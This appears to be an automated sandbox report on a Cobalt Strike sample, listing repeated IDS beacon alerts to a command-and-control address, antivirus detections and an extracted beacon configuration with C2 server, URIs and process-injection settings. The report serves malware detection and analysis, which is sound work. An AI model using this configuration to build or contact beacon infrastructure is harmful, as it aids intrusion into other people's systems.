2025-01-03T02:54:05.659716+0100	2028765	3	Unknown Traffic	192.168.2.4	50069	42.192.3.170	443	TCP
2025-01-03T02:54:07.745043+0100	2028765	3	Unknown Traffic	192.168.2.4	50070	42.192.3.170	443	TCP
2025-01-03T02:54:09.748438+0100	2028765	3	Unknown Traffic	192.168.2.4	50071	42.192.3.170	443	TCP
2025-01-03T02:54:11.777021+0100	2028765	3	Unknown Traffic	192.168.2.4	50072	42.192.3.170	443	TCP
2025-01-03T02:54:13.735289+0100	2028765	3	Unknown Traffic	192.168.2.4	50073	42.192.3.170	443	TCP
2025-01-03T02:54:15.743425+0100	2028765	3	Unknown Traffic	192.168.2.4	50074	42.192.3.170	443	TCP
2025-01-03T02:54:18.133263+0100	2028765	3	Unknown Traffic	192.168.2.4	50075	42.192.3.170	443	TCP
2025-01-03T02:54:20.003252+0100	2028765	3	Unknown Traffic	192.168.2.4	50076	42.192.3.170	443	TCP
2025-01-03T02:54:21.879037+0100	2028765	3	Unknown Traffic	192.168.2.4	50077	42.192.3.170	443	TCP
2025-01-03T02:54:23.927573+0100	2028765	3	Unknown Traffic	192.168.2.4	50078	42.192.3.170	443	TCP
2025-01-03T02:54:25.831611+0100	2028765	3	Unknown Traffic	192.168.2.4	50079	42.192.3.170	443	TCP
2025-01-03T02:54:27.701056+0100	2028765	3	Unknown Traffic	192.168.2.4	50080	42.192.3.170	443	TCP
2025-01-03T02:54:29.777041+0100	2028765	3	Unknown Traffic	192.168.2.4	50081	42.192.3.170	443	TCP
2025-01-03T02:54:31.708847+0100	2028765	3	Unknown Traffic	192.168.2.4	50082	42.192.3.170	443	TCP
2025-01-03T02:54:33.543669+0100	2028765	3	Unknown Traffic	192.168.2.4	50083	42.192.3.170	443	TCP
2025-01-03T02:54:35.757294+0100	2028765	3	Unknown Traffic	192.168.2.4	50084	42.192.3.170	443	TCP
2025-01-03T02:54:37.718497+0100	2028765	3	Unknown Traffic	192.168.2.4	50085	42.192.3.170	443	TCP
2025-01-03T02:54:39.513124+0100	2028765	3	Unknown Traffic	192.168.2.4	50086	42.192.3.170	443	TCP
2025-01-03T02:54:41.450880+0100	2028765	3	Unknown Traffic	192.168.2.4	50087	42.192.3.170	443	TCP
2025-01-03T02:54:43.398318+0100	2028765	3	Unknown Traffic	192.168.2.4	50088	42.192.3.170	443	TCP
2025-01-03T02:54:45.352869+0100	2028765	3	Unknown Traffic	192.168.2.4	50089	42.192.3.170	443	TCP
2025-01-03T02:54:47.511034+0100	2028765	3	Unknown Traffic	192.168.2.4	50090	42.192.3.170	443	TCP
2025-01-03T02:54:49.332377+0100	2028765	3	Unknown Traffic	192.168.2.4	50091	42.192.3.170	443	TCP
2025-01-03T02:54:51.314481+0100	2028765	3	Unknown Traffic	192.168.2.4	50092	42.192.3.170	443	TCP
2025-01-03T02:54:53.433162+0100	2028765	3	Unknown Traffic	192.168.2.4	50093	42.192.3.170	443	TCP
2025-01-03T02:54:55.406669+0100	2028765	3	Unknown Traffic	192.168.2.4	50094	42.192.3.170	443	TCP
2025-01-03T02:54:57.301211+0100	2028765	3	Unknown Traffic	192.168.2.4	50095	42.192.3.170	443	TCP
2025-01-03T02:54:59.322381+0100	2028765	3	Unknown Traffic	192.168.2.4	50096	42.192.3.170	443	TCP
2025-01-03T02:55:01.192036+0100	2028765	3	Unknown Traffic	192.168.2.4	50097	42.192.3.170	443	TCP
2025-01-03T02:55:03.050730+0100	2028765	3	Unknown Traffic	192.168.2.4	50098	42.192.3.170	443	TCP
2025-01-03T02:55:04.940277+0100	2028765	3	Unknown Traffic	192.168.2.4	50099	42.192.3.170	443	TCP
2025-01-03T02:55:06.787758+0100	2028765	3	Unknown Traffic	192.168.2.4	50100	42.192.3.170	443	TCP
2025-01-03T02:55:08.649664+0100	2028765	3	Unknown Traffic	192.168.2.4	50101	42.192.3.170	443	TCP
2025-01-03T02:55:10.699158+0100	2028765	3	Unknown Traffic	192.168.2.4	50102	42.192.3.170	443	TCP
2025-01-03T02:55:12.622689+0100	2028765	3	Unknown Traffic	192.168.2.4	50103	42.192.3.170	443	TCP
2025-01-03T02:55:14.584849+0100	2028765	3	Unknown Traffic	192.168.2.4	50104	42.192.3.170	443	TCP
2025-01-03T02:55:16.485580+0100	2028765	3	Unknown Traffic	192.168.2.4	50105	42.192.3.170	443	TCP
2025-01-03T02:55:18.305220+0100	2028765	3	Unknown Traffic	192.168.2.4	50106	42.192.3.170	443	TCP
2025-01-03T02:55:20.171495+0100	2028765	3	Unknown Traffic	192.168.2.4	50107	42.192.3.170	443	TCP
2025-01-03T02:55:22.013367+0100	2028765	3	Unknown Traffic	192.168.2.4	50108	42.192.3.170	443	TCP
2025-01-03T02:55:23.909276+0100	2028765	3	Unknown Traffic	192.168.2.4	50109	42.192.3.170	443	TCP
2025-01-03T02:55:25.733052+0100	2028765	3	Unknown Traffic	192.168.2.4	50110	42.192.3.170	443	TCP
2025-01-03T02:55:27.563217+0100	2028765	3	Unknown Traffic	192.168.2.4	50111	42.192.3.170	443	TCP
2025-01-03T02:55:29.416377+0100	2028765	3	Unknown Traffic	192.168.2.4	50112	42.192.3.170	443	TCP
2025-01-03T02:55:31.231220+0100	2028765	3	Unknown Traffic	192.168.2.4	50113	42.192.3.170	443	TCP
2025-01-03T02:55:33.062379+0100	2028765	3	Unknown Traffic	192.168.2.4	50114	42.192.3.170	443	TCP
2025-01-03T02:55:34.891221+0100	2028765	3	Unknown Traffic	192.168.2.4	50115	42.192.3.170	443	TCP
2025-01-03T02:55:36.737531+0100	2028765	3	Unknown Traffic	192.168.2.4	50116	42.192.3.170	443	TCP
2025-01-03T02:55:38.637655+0100	2028765	3	Unknown Traffic	192.168.2.4	50117	42.192.3.170	443	TCP
2025-01-03T02:55:40.511604+0100	2028765	3	Unknown Traffic	192.168.2.4	50118	42.192.3.170	443	TCP
2025-01-03T02:55:42.477792+0100	2028765	3	Unknown Traffic	192.168.2.4	50119	42.192.3.170	443	TCP
2025-01-03T02:55:44.310435+0100	2028765	3	Unknown Traffic	192.168.2.4	50120	42.192.3.170	443	TCP
2025-01-03T02:55:46.267183+0100	2028765	3	Unknown Traffic	192.168.2.4	50121	42.192.3.170	443	TCP
2025-01-03T02:55:48.135199+0100	2028765	3	Unknown Traffic	192.168.2.4	50122	42.192.3.170	443	TCP
2025-01-03T02:55:50.040503+0100	2028765	3	Unknown Traffic	192.168.2.4	50123	42.192.3.170	443	TCP
2025-01-03T02:55:51.934251+0100	2028765	3	Unknown Traffic	192.168.2.4	50124	42.192.3.170	443	TCP
2025-01-03T02:55:53.857595+0100	2028765	3	Unknown Traffic	192.168.2.4	50125	42.192.3.170	443	TCP
2025-01-03T02:55:55.704609+0100	2028765	3	Unknown Traffic	192.168.2.4	50126	42.192.3.170	443	TCP
2025-01-03T02:55:57.510561+0100	2028765	3	Unknown Traffic	192.168.2.4	50127	42.192.3.170	443	TCP
2025-01-03T02:55:59.842839+0100	2028765	3	Unknown Traffic	192.168.2.4	50128	42.192.3.170	443	TCP
2025-01-03T02:56:01.694383+0100	2028765	3	Unknown Traffic	192.168.2.4	50129	42.192.3.170	443	TCP

ET MALWARE Cobalt Strike Beacon Observed

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T02:51:57.452608+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49730	42.192.3.170	443	TCP
2025-01-03T02:51:59.302903+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49731	42.192.3.170	443	TCP
2025-01-03T02:52:01.163261+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49732	42.192.3.170	443	TCP
2025-01-03T02:52:03.165804+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49733	42.192.3.170	443	TCP
2025-01-03T02:52:05.017067+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49734	42.192.3.170	443	TCP
2025-01-03T02:52:06.835630+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49735	42.192.3.170	443	TCP
2025-01-03T02:52:08.674163+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49736	42.192.3.170	443	TCP
2025-01-03T02:52:10.561909+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49737	42.192.3.170	443	TCP
2025-01-03T02:52:12.486166+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49738	42.192.3.170	443	TCP
2025-01-03T02:52:14.354791+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49740	42.192.3.170	443	TCP
2025-01-03T02:52:16.215637+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49745	42.192.3.170	443	TCP
2025-01-03T02:52:18.083158+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49747	42.192.3.170	443	TCP
2025-01-03T02:52:19.928081+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49748	42.192.3.170	443	TCP
2025-01-03T02:52:21.861247+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49749	42.192.3.170	443	TCP
2025-01-03T02:52:23.663164+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49750	42.192.3.170	443	TCP
2025-01-03T02:52:25.493218+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49751	42.192.3.170	443	TCP
2025-01-03T02:52:27.476494+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49752	42.192.3.170	443	TCP
2025-01-03T02:52:29.424717+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49753	42.192.3.170	443	TCP
2025-01-03T02:52:31.288548+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49754	42.192.3.170	443	TCP
2025-01-03T02:52:33.167348+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49755	42.192.3.170	443	TCP
2025-01-03T02:52:35.039001+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49756	42.192.3.170	443	TCP
2025-01-03T02:52:36.928785+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49757	42.192.3.170	443	TCP
2025-01-03T02:52:39.215322+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49758	42.192.3.170	443	TCP
2025-01-03T02:52:41.046511+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49759	42.192.3.170	443	TCP
2025-01-03T02:52:42.869377+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49760	42.192.3.170	443	TCP
2025-01-03T02:52:44.949824+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49761	42.192.3.170	443	TCP
2025-01-03T02:52:46.833517+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49762	42.192.3.170	443	TCP
2025-01-03T02:52:48.707530+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49763	42.192.3.170	443	TCP
2025-01-03T02:52:50.576678+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49764	42.192.3.170	443	TCP
2025-01-03T02:52:52.413767+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49765	42.192.3.170	443	TCP
2025-01-03T02:52:54.321871+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49767	42.192.3.170	443	TCP
2025-01-03T02:52:56.200010+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49769	42.192.3.170	443	TCP
2025-01-03T02:52:58.023540+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49780	42.192.3.170	443	TCP
2025-01-03T02:52:59.868444+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49794	42.192.3.170	443	TCP
2025-01-03T02:53:01.752494+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49807	42.192.3.170	443	TCP
2025-01-03T02:53:03.774755+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49819	42.192.3.170	443	TCP
2025-01-03T02:53:05.624502+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49832	42.192.3.170	443	TCP
2025-01-03T02:53:07.506477+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49844	42.192.3.170	443	TCP
2025-01-03T02:53:09.385767+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49856	42.192.3.170	443	TCP
2025-01-03T02:53:11.259694+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49865	42.192.3.170	443	TCP
2025-01-03T02:53:13.190361+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49879	42.192.3.170	443	TCP
2025-01-03T02:53:15.073802+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49892	42.192.3.170	443	TCP
2025-01-03T02:53:16.883379+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49905	42.192.3.170	443	TCP
2025-01-03T02:53:18.705554+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49918	42.192.3.170	443	TCP
2025-01-03T02:53:20.615367+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49930	42.192.3.170	443	TCP
2025-01-03T02:53:22.721820+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49945	42.192.3.170	443	TCP
2025-01-03T02:53:24.580494+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49957	42.192.3.170	443	TCP
2025-01-03T02:53:26.423903+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49966	42.192.3.170	443	TCP
2025-01-03T02:53:28.466662+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49982	42.192.3.170	443	TCP
2025-01-03T02:53:30.319330+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49993	42.192.3.170	443	TCP
2025-01-03T02:53:32.224862+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50005	42.192.3.170	443	TCP
2025-01-03T02:53:34.150666+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50016	42.192.3.170	443	TCP
2025-01-03T02:53:36.016397+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50030	42.192.3.170	443	TCP
2025-01-03T02:53:37.833442+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50038	42.192.3.170	443	TCP
2025-01-03T02:53:39.651317+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50052	42.192.3.170	443	TCP
2025-01-03T02:53:41.471649+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50057	42.192.3.170	443	TCP
2025-01-03T02:53:43.342180+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50058	42.192.3.170	443	TCP
2025-01-03T02:53:45.176286+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50059	42.192.3.170	443	TCP
2025-01-03T02:53:47.019691+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50060	42.192.3.170	443	TCP
2025-01-03T02:53:49.065930+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50061	42.192.3.170	443	TCP
2025-01-03T02:53:50.724895+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50062	42.192.3.170	443	TCP
2025-01-03T02:53:56.804066+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50064	42.192.3.170	443	TCP
2025-01-03T02:53:58.618893+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50065	42.192.3.170	443	TCP
2025-01-03T02:54:00.505193+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50066	42.192.3.170	443	TCP
2025-01-03T02:54:02.375345+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50067	42.192.3.170	443	TCP
2025-01-03T02:54:04.199060+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50068	42.192.3.170	443	TCP
2025-01-03T02:54:06.236791+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50069	42.192.3.170	443	TCP
2025-01-03T02:54:08.278378+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50070	42.192.3.170	443	TCP
2025-01-03T02:54:10.286678+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50071	42.192.3.170	443	TCP
2025-01-03T02:54:12.337304+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50072	42.192.3.170	443	TCP
2025-01-03T02:54:14.294467+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50073	42.192.3.170	443	TCP
2025-01-03T02:54:16.293636+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50074	42.192.3.170	443	TCP
2025-01-03T02:54:18.673601+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50075	42.192.3.170	443	TCP
2025-01-03T02:54:20.554253+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50076	42.192.3.170	443	TCP
2025-01-03T02:54:22.428951+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50077	42.192.3.170	443	TCP
2025-01-03T02:54:24.478630+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50078	42.192.3.170	443	TCP
2025-01-03T02:54:26.381437+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50079	42.192.3.170	443	TCP
2025-01-03T02:54:28.232312+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50080	42.192.3.170	443	TCP
2025-01-03T02:54:30.311038+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50081	42.192.3.170	443	TCP
2025-01-03T02:54:32.257613+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50082	42.192.3.170	443	TCP
2025-01-03T02:54:34.075801+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50083	42.192.3.170	443	TCP
2025-01-03T02:54:36.307927+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50084	42.192.3.170	443	TCP
2025-01-03T02:54:38.260748+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50085	42.192.3.170	443	TCP
2025-01-03T02:54:40.043317+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50086	42.192.3.170	443	TCP
2025-01-03T02:54:41.984732+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50087	42.192.3.170	443	TCP
2025-01-03T02:54:43.955267+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50088	42.192.3.170	443	TCP
2025-01-03T02:54:45.911290+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50089	42.192.3.170	443	TCP
2025-01-03T02:54:48.044208+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50090	42.192.3.170	443	TCP
2025-01-03T02:54:49.881590+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50091	42.192.3.170	443	TCP
2025-01-03T02:54:51.888912+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50092	42.192.3.170	443	TCP
2025-01-03T02:54:53.979784+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50093	42.192.3.170	443	TCP
2025-01-03T02:54:55.945957+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50094	42.192.3.170	443	TCP
2025-01-03T02:54:57.851375+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50095	42.192.3.170	443	TCP
2025-01-03T02:54:59.879305+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50096	42.192.3.170	443	TCP
2025-01-03T02:55:01.744485+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50097	42.192.3.170	443	TCP
2025-01-03T02:55:03.601934+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50098	42.192.3.170	443	TCP
2025-01-03T02:55:05.496469+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50099	42.192.3.170	443	TCP
2025-01-03T02:55:07.339832+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50100	42.192.3.170	443	TCP
2025-01-03T02:55:09.200269+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50101	42.192.3.170	443	TCP
2025-01-03T02:55:11.302692+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50102	42.192.3.170	443	TCP
2025-01-03T02:55:13.185010+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50103	42.192.3.170	443	TCP
2025-01-03T02:55:15.197485+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50104	42.192.3.170	443	TCP
2025-01-03T02:55:17.011739+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50105	42.192.3.170	443	TCP
2025-01-03T02:55:18.855270+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50106	42.192.3.170	443	TCP
2025-01-03T02:55:20.722679+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50107	42.192.3.170	443	TCP
2025-01-03T02:55:22.543460+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50108	42.192.3.170	443	TCP
2025-01-03T02:55:24.446011+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50109	42.192.3.170	443	TCP
2025-01-03T02:55:26.268646+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50110	42.192.3.170	443	TCP
2025-01-03T02:55:28.099338+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50111	42.192.3.170	443	TCP
2025-01-03T02:55:29.944259+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50112	42.192.3.170	443	TCP
2025-01-03T02:55:31.762391+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50113	42.192.3.170	443	TCP
2025-01-03T02:55:33.614935+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50114	42.192.3.170	443	TCP
2025-01-03T02:55:35.425741+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50115	42.192.3.170	443	TCP
2025-01-03T02:55:37.313533+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50116	42.192.3.170	443	TCP
2025-01-03T02:55:39.187290+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50117	42.192.3.170	443	TCP
2025-01-03T02:55:41.079453+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50118	42.192.3.170	443	TCP
2025-01-03T02:55:43.031406+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50119	42.192.3.170	443	TCP
2025-01-03T02:55:44.973875+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50120	42.192.3.170	443	TCP
2025-01-03T02:55:46.804472+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50121	42.192.3.170	443	TCP
2025-01-03T02:55:48.701107+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50122	42.192.3.170	443	TCP
2025-01-03T02:55:50.593240+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50123	42.192.3.170	443	TCP
2025-01-03T02:55:52.501076+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50124	42.192.3.170	443	TCP
2025-01-03T02:55:54.409589+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50125	42.192.3.170	443	TCP
2025-01-03T02:55:56.241086+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50126	42.192.3.170	443	TCP
2025-01-03T02:55:58.541173+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50127	42.192.3.170	443	TCP
2025-01-03T02:56:00.376765+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50128	42.192.3.170	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: yZah650lHL.exe

Avira: detected

Found malware configuration

Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: CobaltStrike {"BeaconType": ["HTTPS"], "Port": 443, "SleepTime": 60000, "MaxGetSize": 1048576, "Jitter": 0, "C2Server": "42.192.3.170,/dpixel", "HttpPostUri": "/submit.php", "Malleable_C2_Instructions": [], "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\rundll32.exe", "Spawnto_x64": "%windir%\\sysnative\\rundll32.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 987654321, "bStageCleanup": "False", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "True", "bProcInject_UseRWX": "True", "bProcInject_MinAllocSize": 0, "ProcInject_PrependAppend_x86": "Empty", "ProcInject_PrependAppend_x64": "Empty", "ProcInject_Execute": ["CreateThread", "SetThreadContext", "CreateRemoteThread", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "VirtualAllocEx", "bUsesCookies": "True", "HostHeader": ""}

Multi AV Scanner detection for submitted file

Source: yZah650lHL.exe	Virustotal: Detection: 80%			Perma Link
Source: yZah650lHL.exe	ReversingLabs: Detection: 86%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: yZah650lHL.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_00661184 CryptAcquireContextA,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,		0_2_00661184
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_00692020 CryptGenRandom,		0_2_00692020

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\yZah650lHL.exe

Unpacked PE file: 0.2.yZah650lHL.exe.660000.2.unpack

Source: unknown	HTTPS traffic detected: 42.192.3.170:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 42.192.3.170:443 -> 192.168.2.4:50064 version: TLS 1.2

Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_00679220 malloc,_snprintf,FindFirstFileA,free,malloc,_snprintf,free,FindNextFileA,FindClose,		0_2_00679220
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_00671C30 malloc,GetCurrentDirectoryA,FindFirstFileA,GetLastError,free,free,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindNextFileA,FindClose,		0_2_00671C30

Source: C:\Users\user\Desktop\yZah650lHL.exe

Code function: 4x nop then sub rsp, 28h

0_2_00402314

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49750 -> 42.192.3.170:443
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49736 -> 42.192.3.170:443
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49734 -> 42.192.3.170:443
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49760 -> 42.192.3.170:443
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49751 -> 42.192.3.170:443
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49763 -> 42.192.3.170:443
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49758 -> 42.192.3.170:443
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49767 -> 42.192.3.170:443
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49740 -> 42.192.3.170:443
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49753 -> 42.192.3.170:443
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49731 -> 42.192.3.170:443
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49762 -> 42.192.3.170:443
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49737 -> 42.192.3.170:443
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49755 -> 42.192.3.170:443
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49761 -> 42.192.3.170:443
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49759 -> 42.192.3.170:443
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49738 -> 42.192.3.170:443
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49735 -> 42.192.3.170:443
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49749 -> 42.192.3.170:443
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49733 -> 42.192.3.170:443
